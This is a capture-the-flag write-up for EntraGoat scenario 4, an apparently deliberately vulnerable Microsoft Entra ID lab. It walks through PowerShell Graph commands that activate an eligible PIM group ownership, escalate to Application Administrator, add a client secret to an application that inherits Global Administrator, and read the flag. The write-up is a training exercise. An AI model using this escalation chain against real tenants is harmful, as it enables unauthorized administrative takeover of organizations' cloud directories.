Skip to content
BIG$HA crestBIG$HA
All writeups

EntraGoat

EntraGoat Scenario 4 - I (Eligibly) Own That

Objective

Obtain access to:

EntraGoat-admin-s4@neho7890gmail.onmicrosoft.com

and retrieve the flag stored in:

extensionAttribute1

Initial Access

The scenario provided the following credentials:

Username: woody.chen@neho7890gmail.onmicrosoft.com
Password: GoatAccess!123

After authenticating, the objective was to identify a path that would lead to the target administrative account.

Enumeration

Review Scenario Information

Target:

EntraGoat-admin-s4@neho7890gmail.onmicrosoft.com

Flag Location:

extensionAttribute1

Hint:

Authority can be hidden in plain sight, masked until someone chooses to activate it.

The hint strongly suggested a Privileged Identity Management (PIM) attack path involving an eligible assignment.

Enumerate Eligible Assignments

Enumerated eligible directory role assignments:

Get-MgRoleManagementDirectoryRoleEligibilityScheduleInstance `
-ExpandProperty roleDefinition `
-All

The enumeration surfaced exactly what the hint implied — an eligible ownership assignment, something I could activate on demand but wasn’t holding yet:

Owner
Application Operations Team

This assignment was not active and required activation through PIM.

Investigate the Target Group

Retrieved the group details:

Get-MgGroup `
-GroupId "81ea7500-7ea8-4b68-a8b3-df610d6d6f05" |
Format-List DisplayName,IsAssignableToRole

Result:

DisplayName        : Application Operations Team
IsAssignableToRole : True

Finding:

Application Operations Team

was configured as a Role Assignable Group.

This indicated that the group could receive Microsoft Entra administrative roles.

Privilege Escalation #1

Activate Eligible Ownership

Using Microsoft Entra PIM:

Identity
 └─ Privileged Identity Management
     └─ Groups
         └─ My Roles
             └─ Owner
                 └─ Activate

Activated ownership of:

Application Operations Team

Verify Group Ownership

Verified ownership through Graph:

Get-MgGroupOwner `
-GroupId "81ea7500-7ea8-4b68-a8b3-df610d6d6f05" |
ForEach-Object {
    Get-MgUser -UserId $_.Id -ErrorAction SilentlyContinue
}

Result:

DisplayName : Woody

The activation took, and Graph now listed Woody as an owner of the group.

Add Self As Group Member

As the new owner of the group, added the current user as a member:

New-MgGroupMember `
-GroupId "81ea7500-7ea8-4b68-a8b3-df610d6d6f05" `
-DirectoryObjectId $Woody.Id

Verified membership:

Get-MgGroupMember `
-GroupId "81ea7500-7ea8-4b68-a8b3-df610d6d6f05"

Result:

Woody
Sarah Martinez
David Kim

Enumeration of Group Privileges

After obtaining control of the group, enumerated role eligibility assignments assigned to it:

Get-MgRoleManagementDirectoryRoleEligibilityScheduleInstance `
-Filter "principalId eq '81ea7500-7ea8-4b68-a8b3-df610d6d6f05'" `
-ExpandProperty roleDefinition `
-All

Result:

RoleName : Application Administrator

Finding:

Application Operations Team

held an eligible:

Application Administrator

assignment.

Privilege Escalation #2

Activate Application Administrator

Activated the role through PIM:

Identity
 └─ Privileged Identity Management
     └─ Microsoft Entra Roles
         └─ My Roles
             └─ Application Administrator
                 └─ Activate

This granted the ability to manage Enterprise Applications and App Registrations.

Enterprise Application Discovery

Enumerated Enterprise Applications and identified:

Infrastructure Monitoring Tool

Application ID:

c78035ec-42d7-40d1-ae21-c14456f34487

Service Principal ID:

351405b8-21a2-411b-98f4-393bf09fd591

Global Administrator Discovery

Enumerated Service Principal group memberships:

Get-MgServicePrincipalMemberOf `
-ServicePrincipalId "351405b8-21a2-411b-98f4-393bf09fd591"

Result:

Global Infrastructure Team

Further review showed:

Global Infrastructure Team

possessed the:

Global Administrator

role.

Attack path identified:

Infrastructure Monitoring Tool
        ↓
Global Infrastructure Team
        ↓
Global Administrator

Application Takeover

Created a new client secret for the application:

$ClientSecret = Add-MgApplicationPassword `
-ApplicationId "7e09e2ac-0770-482b-bc81-1211940054e4" `
-PasswordCredential $PasswordCredential

Result:

DisplayName : Scenario4-Secret

That gave me a working secret for the application — the same trick as owning a service principal, just at the app-registration level.

App-Only Authentication

Authenticated as the Service Principal:

Connect-MgGraph `
-TenantId $TenantId `
-ClientSecretCredential $ClientSecretCredential

Verified context:

ClientId : c78035ec-42d7-40d1-ae21-c14456f34487
AuthType : AppOnly
AppName  : Infrastructure Monitoring Tool

The secret authenticated cleanly, so I was now acting as the Infrastructure Monitoring Tool service principal — the identity that inherited Global Administrator through its group membership.

Flag Retrieval

Queried the target administrative account:

Get-MgUser `
-UserId "EntraGoat-admin-s4@neho7890gmail.onmicrosoft.com" `
-Property "Id,DisplayName,UserPrincipalName,OnPremisesExtensionAttributes"

Retrieved:

DisplayName       : EntraGoat Administrator S4
UserPrincipalName : EntraGoat-admin-s4@neho7890gmail.onmicrosoft.com

Flag:

EntraGoat{PIM_Gr0up_Pr1v_Esc@l@t10n_2025!}

Attack Path

Woody
    ↓
Eligible Owner
(Application Operations Team)
    ↓
Activate Group Ownership
    ↓
Add Self As Member
    ↓
Eligible Application Administrator
    ↓
Activate Role
    ↓
Manage Enterprise Applications
    ↓
Infrastructure Monitoring Tool
    ↓
Add Client Secret
    ↓
App-Only Authentication
    ↓
Service Principal Member Of
Global Infrastructure Team
    ↓
Global Administrator
    ↓
Read EntraGoat-admin-s4
    ↓
Retrieve Flag

Key Learning

This scenario demonstrated how seemingly harmless PIM eligible assignments can be chained into full administrative compromise.

Key concepts exercised:

  • Privileged Identity Management (PIM)
  • Eligible vs Active Assignments
  • Role Assignable Groups
  • Application Administrator Abuse
  • Enterprise Application Takeover
  • Service Principal Authentication
  • App-Only Access
  • Group-Based Privilege Escalation
  • Global Administrator Inheritance Through Service Principals

The compromise did not require password theft, phishing, MFA bypass, or direct access to a privileged account. The entire escalation path was achieved through legitimate delegated administrative relationships already present in the tenant.